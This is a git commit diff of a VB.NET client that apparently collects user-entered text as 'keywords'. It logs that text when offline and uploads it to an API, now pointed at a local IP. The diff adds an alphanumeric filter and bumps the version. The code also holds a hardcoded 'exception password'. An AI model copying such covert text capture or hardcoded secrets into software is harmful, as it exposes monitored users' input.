1、关键字长度限制过滤 修改为 连续的字符文本满足条件才算。中间有符号、空格、表情、控制字符等间隔的都不算

This commit is contained in:
2025-05-23 15:31:08 +08:00
parent 8a1d028f3e
commit a9a34dcc0f
4 changed files with 16 additions and 7 deletions

View File

@ -16,7 +16,8 @@ Public Class Form1
Dim 全局变量_BIOS识别码 As String = ""
Dim 全局变量_异常密码 As String = "009988"
'api接口地址 '
Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
'Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
Dim ApiEndPoint As String = "http://192.168.2.102:8000/api/v1"
Dim 全局变量_id As String = ""
Dim 全局变量_心跳时间 As String = ""
Dim 全局变量_关键字心跳时间 As String = ""
@ -1702,8 +1703,6 @@ Public Class Form1
'保存到文件'
Await SaveFile("keywords", {content})
End If
Catch ex As Exception
End Try
@ -1738,10 +1737,10 @@ Public Class Form1
req.type = 1
req.content = content
If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len Then
If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
Await SaveKeywordLog({req})
Exit For
ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len Then
ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
全局变量_采集的文本.Add(req)
Exit For
End If

View File

@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
'通过使用 "*",如下所示:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.4")>
<Assembly: AssemblyFileVersion("1.0.0.4")>
<Assembly: AssemblyVersion("1.0.0.5")>
<Assembly: AssemblyFileVersion("1.0.0.5")>

View File

@ -128,6 +128,7 @@
<Compile Include="service\FileService.vb" />
<Compile Include="service\Logger.vb" />
<Compile Include="service\StringEncryption.vb" />
<Compile Include="service\StringHelper.vb" />
<Compile Include="service\Updater.vb" />
</ItemGroup>
<ItemGroup>

View File

@ -0,0 +1,9 @@
Public Class StringHelper
' 判断是否全字母数字Unicode 支持)
Public Shared Function IsAllLetterOrDigit(input As String) As Boolean
For Each ch As Char In input
If Not Char.IsLetterOrDigit(ch) Then Return False
Next
Return True
End Function
End Class